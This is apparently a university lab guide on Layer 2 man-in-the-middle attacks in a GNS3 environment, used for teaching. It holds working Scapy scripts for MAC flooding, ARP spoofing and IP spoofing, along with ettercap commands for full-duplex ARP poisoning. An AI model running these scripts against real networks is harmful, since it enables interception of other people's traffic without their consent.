Layer 2 Attacks

In this guide there are the commands to perform some basic L2 attacks that allow us to put in a MITM position. In particular, we will three different attacks:

- **MAC Flooding**
- **ARP Spoofing** (In Half-duplex and Full-duplex mode)
- **IP Spoofing**

MAC Flooding

This kind of attacks rely on ARP poisoning and we will use only a simple python module, called **Scapy**, to perform it.

We will use H1 as attacker and we will attack mac-address-table of the switch SW1 (the Cisco C3745).

These are the steps useful in order to reproduce the attack in our laboratory:

1. Run the entire Hierarchy, as configurated in the file GNS3_lab_configuration.pdf
2. On SW1 we can use some useful commands to se information about the mac-address-table of the switch:
    a. **show mac-address-table** (Useful to se the mac-address saved by the switch)
    b. **show mac-address-table** (Useful to see the number of mac-address saved and the capacity of the switch)
3. On host H1:
    a. Install scapy using pip3
        i. $sudo pip3 install scapy
    b. Write a simple python script (using scapy module) for arp poisoning with random mac-address

```
from scapy.all import *

while 1:
  sendp(Ether(src=RandMAC(), dst=RandMAC())/ARP(op=2, psrc="10.0.0.0/24", hwdst="FF:FF:FF:FF:FF:FF"))
```

    c. This snippet can be found on course git page with name arp_poisoner.py (Link on course website – Layer2 attacks snippet)
4. On SW1, with command “**show mac-address-table-count**" we can see the number of entries that grow as long as the daemon run
5. When the mac-address-table count reach the maximum we can see, on wireshark that the frames are broacasted on network (since the switch will work as HUB)

ARP Spoofing (Half-Duplex)

This attacks is performed, in half-duplex mode, with scapy. For the Full-Duplex mode we will use Etthercap (but this is explained later on this document).

Steps:

1. On host H1 (our attacker) run a ping to the host that we choose as victim
    a. In our case the victim is H2, with ip 10.0.0.3
        i. $ping 10.0.0.3
    b. In case we dont have the ip address of the victim we can just send arp requests, with scapy, on the entire network to have informations (or just use nmap to discover connected hosts)
    c. After that we obtained IP and MAC address of the victim we can try to perform the attack
2. Build our simple deamon that will send arp reply every 0.2 seconds in order to perform the spoofing
    a. Note that in this way we are performing 2 kind of attaks (ARP Spoofing and Port Stealing) but we will focus only on ARP Spoofing

```
from scapy.all import *

pkt = Ether(src='0c:a8:e3:7b:49:00', dst='ff:ff:ff:ff:ff:ff')/ARP(op=2, hwsrc='0c:a8:e3:7b:49:00', pdst='10.0.0.3')

sendp(pkt, loop=1, inter=0.2)
```

    b. This snipped is present on course git page, with name arp_spoofer.py
    c. In order to perform the attack we must replace the following fields:
        i. src Ether parameter with mac address of the victim
        ii. Hwsrc ARP parameter with mac address of the victim
        iii. Pdst ARP parameter with IP address of the victim
3. Run the script (with python as root) and open wireshark
4. On H3 perform a ping to H2 and see if reply are coming
5. On wireshark between H1 and SW1 we can see that the packets are sent to H1 instaed of H2
6. Of course this deamon is very simply so the attack is in half-duplex mode. If we want to do in full-duplex mode we must create a python script, with scapy module, that resend the frame received.

IP Spoofing

This is a famous Layer 2 attacks to perform the MITM, as well as ARP spoofing. These are the steps:

1. Discover hosts in the network
    a. send arp requests, with scapy, on the entire network to have informations
    b. or use nmap to discover connected hosts
2. When we know the target ip we can perform the attacks
3. Build our simple deamon with python that will send packets every 0.5 seconds.

```
from scapy.all import *

pkt = Ether(src='0c:a8:e3:7b:49:00', dst='ff:ff:ff:ff:ff:ff')/ARP(op=2, psrc='10.0.0.4')

sendp(pkt, loop=1, inter=0.5)
```

    a. This snipped is present on course git page, with name ip_spoofer.py
    b. In order to perform the attack we must replace the following fields:
        a. src Ether parameter with mac address of the victim
        b. Psrc ARP parameter with IP address of the victim
4. Run the script wit puthon as root
5. Open wireshark between H1 and SW1 and see if traffic of victim hosts comes
6. On R1 (our C7200 router) we can se if the attacks work with this command:
    a. show ip arp
7. On H3 run a ping of H2 (our victim) and see if the data is received by H1.

Ettercap

Ettercap is a famous tool for performing MITM. We will use, today, to build a Full-duplex ARP Spoofing.

Steps:

1. Install ettercap
    a. $sudo apt install ettercap-text-only
2. Run ettercap to discover active host on the network
    a. $sudo ettercap –T (will run ettercap with text interface)
    b. Into interactive shell press **l** to print hosts discovered
    c. Take note of informations of the victim
3. Active packets forwarding for ettercap
    a. Edit etter.conf file
    b. $sudo nano /etc/eettercap/etter.conf
    c. remove # at the line **redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %$**
    d. Save

4. Once identified the target of our attack we can procede with a MITM based on ARP spoofing
    a. ettercap –T –M <<MITM_TYPE>> <<TARGET>> (in form mac/ip/ipv6/port)
    b. $sudo ettercap –T –M ARP /10.0.0.3// (in our case with H2 as victim)
    c. Into interactive shell press space to enable/disable packets visualization
        i. If enabled the shell prints received packets
5. Open wireshark between H1 and SW1 to see if attack works
6. On H2 run a simple “apt update” to see if works and if H1 is in the middle